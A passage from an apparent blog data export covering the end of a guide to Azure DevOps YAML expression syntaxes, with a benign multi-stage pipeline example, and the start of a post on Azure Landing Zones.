jobs.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eUse in a \u003ccode\u003econdition:\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e$[ ]\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eThe standard for runtime skipping logic.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePass value to a Task input\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e$( )\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eStandard interpolation for task configurations.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"hands-on-example-the-smart-multi-stage-pipeline\"\u003eHands-On Example: The \u0026ldquo;Smart\u0026rdquo; Multi-Stage Pipeline\u003c/h2\u003e\n\u003cp\u003eTo see these syntaxes in action, consider a pipeline that must calculate a version number in a build stage and then conditionally deploy to production.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Build Stage sets an output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCompile\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;##vso[task.setvariable variable=isReady;isOutput=true]true\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCheckGate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Deploy Stage consumes it at runtime\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(stageDependencies.Build.Compile.outputs[\u0026#39;CheckGate.isReady\u0026#39;], \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProduction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying version $(Build.BuildNumber)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"multi-stage-variable-mapping-flow\"\u003eMulti-Stage Variable Mapping Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 280,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 608,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,48 L 256,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,48 L 584,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,80 L 272,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,80 L 296,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,80 L 392,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,96 L 256,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,96 L 488,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,96 L 584,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,128 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,128 L 584,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,176 L 584,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 280,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,192 L 608,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,48 L 72,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,48 L 256,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,16 L 280,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 376,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,48 L 400,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,128 L 400,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,96 L 488,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,48 L 584,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,128 L 584,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,16 L 608,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='400.000000,80.000000 388.000000,74.400002 388.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 392.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='496.000000,128.000000 484.000000,122.400002 484.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 488.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='164' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='164' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='164' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIn this example, the \u003ccode\u003econdition\u003c/code\u003e uses runtime syntax (\u003ccode\u003e$[ ]\u003c/code\u003e is implicit in stage-level conditions) to read the \u003ccode\u003eisReady\u003c/code\u003e flag, while the final script uses macro syntax (\u003ccode\u003e$( )\u003c/code\u003e) to display the build number.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eTiming is Everything:\u003c/strong\u003e 90% of expression failures are \u0026ldquo;timing\u0026rdquo; issues where compile-time logic tries to read runtime data.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e${{ }} Creates the Plan:\u003c/strong\u003e Use it for structural decisions based on parameters.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e$[ ] Executes the Plan:\u003c/strong\u003e Use it for runtime decisions based on variables.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUse the \u0026ldquo;Expanded YAML\u0026rdquo; View:\u003c/strong\u003e It is your best friend for debugging why \u003ccode\u003e${{ }}\u003c/code\u003e logic isn\u0026rsquo;t behaving as expected.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eMicrosoft Learn: Expressions in Azure Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/variables#variable-evaluation-order\"\u003eMicrosoft Learn: Pipeline variable evaluation order\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#nesting-depth\"\u003eMicrosoft Learn: Template nesting and limits\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Azure DevOps Blog: Advanced YAML Patterns\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"A comprehensive guide to the Azure DevOps expression engine. Master compile-time, runtime, and macro syntaxes to build reliable, governed CI/CD pipelines.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/ultimate-guide-yaml-expressions/","title":"The Ultimate Guide to Azure DevOps YAML Expressions: Never Fail a Condition Again"},{"content":"\u003cp\u003eYour Azure bill arrives and one line item is $47,000. Nobody on your team knows which subscription it came from. You trace it back to a developer who spun up a GPU cluster three weeks ago \u0026ldquo;just to test something.\u0026rdquo; There was no policy to stop them. There was no budget alert configured. There was no shared networking — they punched a hole through the firewall themselves. That subscription is a silo. You have fourteen more just like it.\u003c/p\u003e\n\u003cp\u003eThis is what happens when your Azure estate grows without a foundation. Subscriptions accumulate as independent experiments. Security policies are applied by hand, subscription by subscription, whenever someone remembers. Networking becomes overlapping IP ranges and ad-hoc peerings that nobody fully understands. You aren\u0026rsquo;t running a cloud platform — you\u0026rsquo;re running a collection of accidents.\u003c/p\u003e\n\u003cp\u003eAn Azure Landing Zone (ALZ) is the architectural foundation that prevents this. It provides the shared services — networking, identity, governance, and logging — that every application needs but no single team should manage alone. In 2026, the standard for building these foundations has shifted from monolithic modules to the \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e initiative, emphasizing \u0026ldquo;Metadata-First\u0026rdquo; architectures and secret-less CI/CD.\u003c/p\u003e\n\u003cp\u003eThis is the Pillar Post for the \u003ca href=\"#\"\u003eAzure Platform Engineering series\u003c/a\u003e. Across the next 10 articles, we 